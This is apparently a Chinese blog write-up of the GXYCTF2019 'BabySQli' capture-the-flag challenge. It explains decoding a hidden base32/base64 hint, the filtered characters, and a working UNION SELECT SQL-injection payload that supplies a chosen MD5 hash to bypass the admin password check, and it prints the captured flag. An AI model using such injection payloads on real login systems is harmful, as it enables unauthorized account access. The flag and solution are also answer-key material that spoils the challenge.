[GXYCTF2019]BabySQli 1

[GXYCTF2019]BabySQli 1

打开实例发现是个登录页,查看源代码未发现有效信息,admin登录,显示密码错误,发现参数namepw

image-20241113104620596

查看源代码发现base编码

image-20241113102752741

解密发现是base32+base64混合编码,并发现解密后的SQL语句,判断注入点为username

select * from user where username = '$name'

image-20241113102951180

尝试万能密码

image-20241113105219974

显示do not hack me!,怀疑是字符被过滤

order by判断字段数,为4显示异常,确认字段数为3

image-20241113105357491

尝试输出数据库语句,经过测试确认括号被过滤

image-20241113110009212

查看源代码,发现确实or = | ()都被过滤了,并且注意到

image-20241113110331347

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

这边的arr就是字段的位置,所以就是需要字段的第三个位置填入密码和后面pw传递的参数的md5加密的字符串相等

ok,那直接MD5随便加密一个密码

image-20241113110747173

e10adc3949ba59abbe56e057f20f883e

构造payload

name=' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

image-20241113110843794

获得flag

flag{fb83a3ca-f885-48e4-bfdc-8630bb78f837}

tips:这道题有个坑点,就是用hacker bar不行,我在hacker bar浪费了很长的时间

posted @   TazmiDev  阅读(81)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示